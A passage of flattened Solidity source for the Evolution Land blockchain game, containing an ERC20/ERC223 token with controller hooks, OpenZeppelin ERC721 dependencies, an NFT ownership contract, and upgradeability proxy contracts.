name bytes32 public name = ""; address public controller; constructor(bytes32 _symbol) public { symbol = _symbol; controller = msg.sender; } function setName(bytes32 name_) public auth { name = name_; } ////////// // Controller Methods ////////// /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) public auth { controller = _newController; } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount ) public returns (bool success) { // Alerts the token controller of the transfer if (isContract(controller)) { if (!TokenController(controller).onTransfer(_from, _to, _amount)) revert(); } success = super.transferFrom(_from, _to, _amount); } /* * ERC 223 * Added support for the ERC 223 "tokenFallback" method in a "transfer" function with a payload. */ function transferFrom(address _from, address _to, uint256 _amount, bytes _data) public returns (bool success) { // Alerts the token controller of the transfer if (isContract(controller)) { if (!TokenController(controller).onTransfer(_from, _to, _amount)) revert(); } require(super.transferFrom(_from, _to, _amount)); if (isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(_from, _amount, _data); } emit ERC223Transfer(_from, _to, _amount, _data); return true; } function issue(address _to, uint256 _amount) public auth { mint(_to, _amount); } function destroy(address _from, uint256 _amount) public auth { burn(_from, _amount); } function mint(address _to, uint _amount) public auth { _supply = _supply.add(_amount); _balances[_to] = _balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); } function burn(address _who, uint _value) public auth { require(_value <= _balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure _balances[_who] = _balances[_who].sub(_value); _supply = _supply.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } /* * ERC 223 * Added support for the ERC 223 "tokenFallback" method in a "transfer" function with a payload. * https://github.com/ethereum/EIPs/issues/223 * function transfer(address _to, uint256 _value, bytes _data) public returns (bool success); */ /// @notice Send `_value` tokens to `_to` from `msg.sender` and trigger /// tokenFallback if sender is a contract. /// @dev Function that is called when a user or another contract wants to transfer funds. /// @param _to Address of token receiver. /// @param _amount Number of tokens to transfer. /// @param _data Data to be sent to tokenFallback /// @return Returns success of function call. function transfer( address _to, uint256 _amount, bytes _data) public returns (bool success) { return transferFrom(msg.sender, _to, _amount, _data); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { // Alerts the token controller of the approve function call if (isContract(controller)) { if (!TokenController(controller).onApprove(msg.sender, _spender, _amount)) revert(); } return super.approve(_spender, _amount); } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(address _spender, uint256 _amount, bytes _extraData ) public returns (bool success) { if (!approve(_spender, _amount)) revert(); ApproveAndCallFallBack(_spender).receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @notice The fallback function: If the contract's controller has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token controller contract function () public payable { if (isContract(controller)) { if (! TokenController(controller).proxyPayment.value(msg.value)(msg.sender, msg.sig, msg.data)) revert(); } else { revert(); } } ////////// // Safety Methods ////////// /// @notice This method can be used by the owner to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) public auth { if (_token == 0x0) { address(msg.sender).transfer(address(this).balance); return; } ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(address(msg.sender), balance); emit ClaimedTokens(_token, address(msg.sender), balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); } // Dependency file: openzeppelin-solidity/contracts/introspection/ERC165.sol // pragma solidity ^0.4.24; /** * @title ERC165 * @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md */ interface ERC165 { /** * @notice Query if a contract implements an interface * @param _interfaceId The interface identifier, as specified in ERC-165 * @dev Interface identification is specified in ERC-165. This function * uses less than 30,000 gas. */ function supportsInterface(bytes4 _interfaceId) external view returns (bool); } // Dependency file: openzeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol // pragma solidity ^0.4.24; // import "openzeppelin-solidity/contracts/introspection/ERC165.sol"; /** * @title ERC721 Non-Fungible Token Standard basic interface * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Basic is ERC165 { bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd; /* * 0x80ac58cd === * bytes4(keccak256('balanceOf(address)')) ^ * bytes4(keccak256('ownerOf(uint256)')) ^ * bytes4(keccak256('approve(address,uint256)')) ^ * bytes4(keccak256('getApproved(uint256)')) ^ * bytes4(keccak256('setApprovalForAll(address,bool)')) ^ * bytes4(keccak256('isApprovedForAll(address,address)')) ^ * bytes4(keccak256('transferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^ * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) */ bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79; /* * 0x4f558e79 === * bytes4(keccak256('exists(uint256)')) */ bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63; /** * 0x780e9d63 === * bytes4(keccak256('totalSupply()')) ^ * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^ * bytes4(keccak256('tokenByIndex(uint256)')) */ bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f; /** * 0x5b5e139f === * bytes4(keccak256('name()')) ^ * bytes4(keccak256('symbol()')) ^ * bytes4(keccak256('tokenURI(uint256)')) */ event Transfer( address indexed _from, address indexed _to, uint256 indexed _tokenId ); event Approval( address indexed _owner, address indexed _approved, uint256 indexed _tokenId ); event ApprovalForAll( address indexed _owner, address indexed _operator, bool _approved ); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function exists(uint256 _tokenId) public view returns (bool _exists); function approve(address _to, uint256 _tokenId) public; function getApproved(uint256 _tokenId) public view returns (address _operator); function setApprovalForAll(address _operator, bool _approved) public; function isApprovedForAll(address _owner, address _operator) public view returns (bool); function transferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom(address _from, address _to, uint256 _tokenId) public; function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public; } // Dependency file: openzeppelin-solidity/contracts/token/ERC721/ERC721.sol // pragma solidity ^0.4.24; // import "openzeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Enumerable is ERC721Basic { function totalSupply() public view returns (uint256); function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256 _tokenId); function tokenByIndex(uint256 _index) public view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Metadata is ERC721Basic { function name() external view returns (string _name); function symbol() external view returns (string _symbol); function tokenURI(uint256 _tokenId) public view returns (string); } /** * @title ERC-721 Non-Fungible Token Standard, full implementation interface * @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata { } // Dependency file: openzeppelin-solidity/contracts/token/ERC721/ERC721Receiver.sol // pragma solidity ^0.4.24; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ contract ERC721Receiver { /** * @dev Magic value to be returned upon successful reception of an NFT * Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`, * which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` */ bytes4 internal constant ERC721_RECEIVED = 0x150b7a02; /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a `safetransfer`. This function MAY throw to revert and reject the * transfer. Return of other than the magic value MUST result in the * transaction being reverted. * Note: the contract address is always the message sender. * @param _operator The address which called `safeTransferFrom` function * @param _from The address which previously owned the token * @param _tokenId The NFT identifier which is being transferred * @param _data Additional data with no specified format * @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes _data ) public returns(bytes4); } // Dependency file: openzeppelin-solidity/contracts/AddressUtils.sol // pragma solidity ^0.4.24; /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param _addr address to check * @return whether the target address is a contract */ function isContract(address _addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(_addr) } return size > 0; } } // Dependency file: openzeppelin-solidity/contracts/introspection/SupportsInterfaceWithLookup.sol // pragma solidity ^0.4.24; // import "openzeppelin-solidity/contracts/introspection/ERC165.sol"; /** * @title SupportsInterfaceWithLookup * @author Matt Condon (@shrugs) * @dev Implements ERC165 using a lookup table. */ contract SupportsInterfaceWithLookup is ERC165 { bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7; /** * 0x01ffc9a7 === * bytes4(keccak256('supportsInterface(bytes4)')) */ /** * @dev a mapping of interface id to whether or not it's supported */ mapping(bytes4 => bool) internal supportedInterfaces; /** * @dev A contract implementing SupportsInterfaceWithLookup * implement ERC165 itself */ constructor() public { _registerInterface(InterfaceId_ERC165); } /** * @dev implement supportsInterface(bytes4) using a lookup table */ function supportsInterface(bytes4 _interfaceId) external view returns (bool) { return supportedInterfaces[_interfaceId]; } /** * @dev private method for registering an interface */ function _registerInterface(bytes4 _interfaceId) internal { require(_interfaceId != 0xffffffff); supportedInterfaces[_interfaceId] = true; } } // Dependency file: openzeppelin-solidity/contracts/token/ERC721/ERC721BasicToken.sol // pragma solidity ^0.4.24; // import "openzeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol"; // import "openzeppelin-solidity/contracts/token/ERC721/ERC721Receiver.sol"; // import "openzeppelin-solidity/contracts/math/SafeMath.sol"; // import "openzeppelin-solidity/contracts/AddressUtils.sol"; // import "openzeppelin-solidity/contracts/introspection/SupportsInterfaceWithLookup.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic { using SafeMath for uint256; using AddressUtils for address; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `ERC721Receiver(0).onERC721Received.selector` bytes4 private constant ERC721_RECEIVED = 0x150b7a02; // Mapping from token ID to owner mapping (uint256 => address) internal tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) internal tokenApprovals; // Mapping from owner to number of owned token mapping (address => uint256) internal ownedTokensCount; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) internal operatorApprovals; constructor() public { // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721); _registerInterface(InterfaceId_ERC721Exists); } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { require(_owner != address(0)); return ownedTokensCount[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Returns whether the specified token exists * @param _tokenId uint256 ID of the token to query the existence of * @return whether the token exists */ function exists(uint256 _tokenId) public view returns (bool) { address owner = tokenOwner[_tokenId]; return owner != address(0); } /** * @dev Approves another address to transfer the given token ID * The zero address indicates there is no approved address. * There can only be one approved address per token at a given time. * Can only be called by the token owner or an approved operator. * @param _to address to be approved for the given token ID * @param _tokenId uint256 ID of the token to be approved */ function approve(address _to, uint256 _tokenId) public { address owner = ownerOf(_tokenId); require(_to != owner); require(msg.sender == owner || isApprovedForAll(owner, msg.sender)); tokenApprovals[_tokenId] = _to; emit Approval(owner, _to, _tokenId); } /** * @dev Gets the approved address for a token ID, or zero if no address set * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved for the given token ID */ function getApproved(uint256 _tokenId) public view returns (address) { return tokenApprovals[_tokenId]; } /** * @dev Sets or unsets the approval of a given operator * An operator is allowed to transfer all tokens of the sender on their behalf * @param _to operator address to set the approval * @param _approved representing the status of the approval to be set */ function setApprovalForAll(address _to, bool _approved) public { require(_to != msg.sender); operatorApprovals[msg.sender][_to] = _approved; emit ApprovalForAll(msg.sender, _to, _approved); } /** * @dev Tells whether an operator is approved by a given owner * @param _owner owner address which you want to query the approval of * @param _operator operator address which you want to query the approval of * @return bool whether the given operator is approved by the given owner */ function isApprovedForAll( address _owner, address _operator ) public view returns (bool) { return operatorApprovals[_owner][_operator]; } /** * @dev Transfers the ownership of a given token ID to another address * Usage of this method is discouraged, use `safeTransferFrom` whenever possible * Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(isApprovedOrOwner(msg.sender, _tokenId)); require(_from != address(0)); require(_to != address(0)); clearApproval(_from, _tokenId); removeTokenFrom(_from, _tokenId); addTokenTo(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * * Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred */ function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public { // solium-disable-next-line arg-overflow safeTransferFrom(_from, _to, _tokenId, ""); } /** * @dev Safely transfers the ownership of a given token ID to another address * If the target address is a contract, it must implement `onERC721Received`, * which is called upon a safe transfer, and return the magic value * `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise, * the transfer is reverted. * Requires the msg sender to be the owner, approved, or operator * @param _from current owner of the token * @param _to address to receive the ownership of the given token ID * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes data to send along with a safe transfer check */ function safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes _data ) public { transferFrom(_from, _to, _tokenId); // solium-disable-next-line arg-overflow require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data)); } /** * @dev Returns whether the given spender can transfer a given token ID * @param _spender address of the spender to query * @param _tokenId uint256 ID of the token to be transferred * @return bool whether the msg.sender is approved for the given token ID, * is an operator of the owner, or is the owner of the token */ function isApprovedOrOwner( address _spender, uint256 _tokenId ) internal view returns (bool) { address owner = ownerOf(_tokenId); // Disable solium check because of // https://github.com/duaraghav8/Solium/issues/175 // solium-disable-next-line operator-whitespace return ( _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender) ); } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param _to The address that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { require(_to != address(0)); addTokenTo(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { clearApproval(_owner, _tokenId); removeTokenFrom(_owner, _tokenId); emit Transfer(_owner, address(0), _tokenId); } /** * @dev Internal function to clear current approval of a given token ID * Reverts if the given address is not indeed the owner of the token * @param _owner owner of the token * @param _tokenId uint256 ID of the token to be transferred */ function clearApproval(address _owner, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _owner); if (tokenApprovals[_tokenId] != address(0)) { tokenApprovals[_tokenId] = address(0); } } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; ownedTokensCount[_to] = ownedTokensCount[_to].add(1); } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { require(ownerOf(_tokenId) == _from); ownedTokensCount[_from] = ownedTokensCount[_from].sub(1); tokenOwner[_tokenId] = address(0); } /** * @dev Internal function to invoke `onERC721Received` on a target address * The call is not executed if the target address is not a contract * @param _from address representing the previous owner of the given token ID * @param _to target address that will receive the tokens * @param _tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function checkAndCallSafeTransfer( address _from, address _to, uint256 _tokenId, bytes _data ) internal returns (bool) { if (!_to.isContract()) { return true; } bytes4 retval = ERC721Receiver(_to).onERC721Received( msg.sender, _from, _tokenId, _data); return (retval == ERC721_RECEIVED); } } // Dependency file: openzeppelin-solidity/contracts/token/ERC721/ERC721Token.sol // pragma solidity ^0.4.24; // import "openzeppelin-solidity/contracts/token/ERC721/ERC721.sol"; // import "openzeppelin-solidity/contracts/token/ERC721/ERC721BasicToken.sol"; // import "openzeppelin-solidity/contracts/introspection/SupportsInterfaceWithLookup.sol"; /** * @title Full ERC721 Token * This implementation includes all the required and some optional functionality of the ERC721 standard * Moreover, it includes approve all functionality using operator terminology * @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md */ contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 { // Token name string internal name_; // Token symbol string internal symbol_; // Mapping from owner to list of owned token IDs mapping(address => uint256[]) internal ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) internal ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] internal allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) internal allTokensIndex; // Optional mapping for token URIs mapping(uint256 => string) internal tokenURIs; /** * @dev Constructor function */ constructor(string _name, string _symbol) public { name_ = _name; symbol_ = _symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721Enumerable); _registerInterface(InterfaceId_ERC721Metadata); } /** * @dev Gets the token name * @return string representing the token name */ function name() external view returns (string) { return name_; } /** * @dev Gets the token symbol * @return string representing the token symbol */ function symbol() external view returns (string) { return symbol_; } /** * @dev Returns an URI for a given token ID * Throws if the token ID does not exist. May return an empty string. * @param _tokenId uint256 ID of the token to query */ function tokenURI(uint256 _tokenId) public view returns (string) { require(exists(_tokenId)); return tokenURIs[_tokenId]; } /** * @dev Gets the token ID at a given index of the tokens list of the requested owner * @param _owner address owning the tokens list to be accessed * @param _index uint256 representing the index to be accessed of the requested tokens list * @return uint256 token ID at the given index of the tokens list owned by the requested address */ function tokenOfOwnerByIndex( address _owner, uint256 _index ) public view returns (uint256) { require(_index < balanceOf(_owner)); return ownedTokens[_owner][_index]; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return allTokens.length; } /** * @dev Gets the token ID at a given index of all the tokens in this contract * Reverts if the index is greater or equal to the total number of tokens * @param _index uint256 representing the index to be accessed of the tokens list * @return uint256 token ID at the given index of the tokens list */ function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return allTokens[_index]; } /** * @dev Internal function to set the token URI for a given token * Reverts if the token ID does not exist * @param _tokenId uint256 ID of the token to set its URI * @param _uri string URI to assign */ function _setTokenURI(uint256 _tokenId, string _uri) internal { require(exists(_tokenId)); tokenURIs[_tokenId] = _uri; } /** * @dev Internal function to add a token ID to the list of a given address * @param _to address representing the new owner of the given token ID * @param _tokenId uint256 ID of the token to be added to the tokens list of the given address */ function addTokenTo(address _to, uint256 _tokenId) internal { super.addTokenTo(_to, _tokenId); uint256 length = ownedTokens[_to].length; ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; } /** * @dev Internal function to remove a token ID from the list of a given address * @param _from address representing the previous owner of the given token ID * @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function removeTokenFrom(address _from, uint256 _tokenId) internal { super.removeTokenFrom(_from, _tokenId); // To prevent a gap in the array, we store the last token in the index of the token to delete, and // then delete the last slot. uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = ownedTokens[_from].length.sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; ownedTokens[_from][tokenIndex] = lastToken; // This also deletes the contents at the last position of the array ownedTokens[_from].length--; // Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping // the lastToken to the first position, and then dropping the element placed in the last position of the list ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; } /** * @dev Internal function to mint a new token * Reverts if the given token ID already exists * @param _to address the beneficiary that will own the minted token * @param _tokenId uint256 ID of the token to be minted by the msg.sender */ function _mint(address _to, uint256 _tokenId) internal { super._mint(_to, _tokenId); allTokensIndex[_tokenId] = allTokens.length; allTokens.push(_tokenId); } /** * @dev Internal function to burn a specific token * Reverts if the token does not exist * @param _owner owner of the token to burn * @param _tokenId uint256 ID of the token being burned by the msg.sender */ function _burn(address _owner, uint256 _tokenId) internal { super._burn(_owner, _tokenId); // Clear metadata (if any) if (bytes(tokenURIs[_tokenId]).length != 0) { delete tokenURIs[_tokenId]; } // Reorg all tokens array uint256 tokenIndex = allTokensIndex[_tokenId]; uint256 lastTokenIndex = allTokens.length.sub(1); uint256 lastToken = allTokens[lastTokenIndex]; allTokens[tokenIndex] = lastToken; allTokens[lastTokenIndex] = 0; allTokens.length--; allTokensIndex[_tokenId] = 0; allTokensIndex[lastToken] = tokenIndex; } } // Dependency file: @evolutionland/common/contracts/ObjectOwnership.sol // pragma solidity ^0.4.24; // import "openzeppelin-solidity/contracts/ownership/Ownable.sol"; // import "openzeppelin-solidity/contracts/token/ERC721/ERC721Token.sol"; // import "@evolutionland/common/contracts/interfaces/IInterstellarEncoder.sol"; // import "@evolutionland/common/contracts/interfaces/ISettingsRegistry.sol"; // import "@evolutionland/common/contracts/DSAuth.sol"; // import "@evolutionland/common/contracts/SettingIds.sol"; contract ObjectOwnership is ERC721Token("Evolution Land Objects","EVO"), DSAuth, SettingIds { ISettingsRegistry public registry; bool private singletonLock = false; /* * Modifiers */ modifier singletonLockCall() { require(!singletonLock, "Only can call once"); _; singletonLock = true; } /** * @dev Atlantis's constructor */ constructor () public { // initializeContract(); } /** * @dev Same with constructor, but is used and called by storage proxy as logic contract. */ function initializeContract(address _registry) public singletonLockCall { // Ownable constructor owner = msg.sender; emit LogSetOwner(msg.sender); // SupportsInterfaceWithLookup constructor _registerInterface(InterfaceId_ERC165); // ERC721BasicToken constructor _registerInterface(InterfaceId_ERC721); _registerInterface(InterfaceId_ERC721Exists); // ERC721Token constructor name_ = "Evolution Land Objects"; symbol_ = "EVO"; // Evolution Land Objects // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(InterfaceId_ERC721Enumerable); _registerInterface(InterfaceId_ERC721Metadata); registry = ISettingsRegistry(_registry); } function mintObject(address _to, uint128 _objectId) public auth returns (uint256 _tokenId) { address interstellarEncoder = registry.addressOf(CONTRACT_INTERSTELLAR_ENCODER); _tokenId = IInterstellarEncoder(interstellarEncoder).encodeTokenIdForObjectContract( address(this), msg.sender, _objectId); super._mint(_to, _tokenId); } function burnObject(address _to, uint128 _objectId) public auth returns (uint256 _tokenId) { address interstellarEncoder = registry.addressOf(CONTRACT_INTERSTELLAR_ENCODER); _tokenId = IInterstellarEncoder(interstellarEncoder).encodeTokenIdForObjectContract( address(this), msg.sender, _objectId); super._burn(_to, _tokenId); } function mint(address _to, uint256 _tokenId) public auth { super._mint(_to, _tokenId); } function burn(address _to, uint256 _tokenId) public auth { super._burn(_to, _tokenId); } //@dev user invoke approveAndCall to create auction //@param _to - address of auction contractß function approveAndCall( address _to, uint _tokenId, bytes _extraData ) public { // set _to to the auction contract approve(_to, _tokenId); if(!_to.call( bytes4(keccak256("receiveApproval(address,uint256,bytes)")), abi.encode(msg.sender, _tokenId, _extraData) )) { revert(); } } } // Dependency file: @evolutionland/upgraeability-using-unstructured-storage/contracts/Proxy.sol // pragma solidity ^0.4.21; /** * @title Proxy * @dev Gives the possibility to delegate any call to a foreign implementation. */ contract Proxy { /** * @dev Tells the address of the implementation where every call will be delegated. * @return address of the implementation to which it will be delegated */ function implementation() public view returns (address); /** * @dev Fallback function allowing to perform a delegatecall to the given implementation. * This function will return whatever the implementation call returns */ function () payable public { address _impl = implementation(); require(_impl != address(0)); assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } // Dependency file: @evolutionland/upgraeability-using-unstructured-storage/contracts/UpgradeabilityProxy.sol // pragma solidity ^0.4.21; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/upgraeability-using-unstructured-storage/contracts/Proxy.sol'; /** * @title UpgradeabilityProxy * @dev This contract represents a proxy where the implementation address to which it will delegate can be upgraded */ contract UpgradeabilityProxy is Proxy { /** * @dev This event will be emitted every time the implementation gets upgraded * @param implementation representing the address of the upgraded implementation */ event Upgraded(address indexed implementation); // Storage position of the address of the current implementation bytes32 private constant implementationPosition = keccak256("org.zeppelinos.proxy.implementation"); /** * @dev Constructor function */ function UpgradeabilityProxy() public {} /** * @dev Tells the address of the current implementation * @return address of the current implementation */ function implementation() public view returns (address impl) { bytes32 position = implementationPosition; assembly { impl := sload(position) } } /** * @dev Sets the address of the current implementation * @param newImplementation address representing the new implementation to be set */ function setImplementation(address newImplementation) internal { bytes32 position = implementationPosition; assembly { sstore(position, newImplementation) } } /** * @dev Upgrades the implementation address * @param newImplementation representing the address of the new implementation to be set */ function _upgradeTo(address newImplementation) internal { address currentImplementation = implementation(); require(currentImplementation != newImplementation); setImplementation(newImplementation); emit Upgraded(newImplementation); } } // Dependency file: @evolutionland/upgraeability-using-unstructured-storage/contracts/OwnedUpgradeabilityProxy.sol // pragma solidity ^0.4.21; // import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/upgraeability-using-unstructured-storage/contracts/UpgradeabilityProxy.sol'; /** * @title OwnedUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with basic authorization control functionalities */ contract OwnedUpgradeabilityProxy is UpgradeabilityProxy { /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event ProxyOwnershipTransferred(address previousOwner, address newOwner); // Storage position of the owner of the contract bytes32 private constant proxyOwnerPosition = keccak256("org.zeppelinos.proxy.owner"); /** * @dev the constructor sets the original owner of the contract to the sender account. */ function OwnedUpgradeabilityProxy() public { setUpgradeabilityOwner(msg.sender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyProxyOwner() { require(msg.sender == proxyOwner()); _; } /** * @dev Tells the address of the owner * @return the address of the owner */ function proxyOwner() public view returns (address owner) { bytes32 position = proxyOwnerPosition; assembly { owner := sload(position) } } /** * @dev Sets the address of the owner */ function setUpgradeabilityOwner(address newProxyOwner) internal { bytes32 position = proxyOwnerPosition; assembly { sstore(position, newProxyOwner) } } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferProxyOwnership(address newOwner) public onlyProxyOwner { require(newOwner != address(0)); emit ProxyOwnershipTransferred(proxyOwner(), newOwner); setUpgradeabilityOwner(newOwner); } /** * @dev Allows the proxy owner to upgrade the current version of the proxy. * @param implementation representing the address of the new implementation to be set. */ function upgradeTo(address implementation) public onlyProxyOwner { _upgradeTo(implementation); } /** * @dev Allows the proxy owner to upgrade the current version of the proxy and call the new implementation * to initialize whatever is needed through a low level call. * @param implementation representing the address of the new implementation to be set. * @param data represents the msg.data to bet sent in the low level call. This parameter may include the function * signature of the implementation to be called with the needed payload */ function upgradeToAndCall(address implementation, bytes data) payable public onlyProxyOwner { upgradeTo(implementation); require(this.call.value(msg.value)(data)); } } // Dependency file: @evolutionland/common/contracts/interfaces/ITokenLocation.sol // pragma solidity ^0.4.24; contract ITokenLocation { function hasLocation(uint256 _tokenId) public view returns (bool); function getTokenLocation(uint256 _tokenId) public view returns (int, int); function setTokenLocation(uint256 _tokenId, int _x, int _y) public; function getTokenLocationHM(uint256 _tokenId) public view returns (int, int); function setTokenLocationHM(uint256 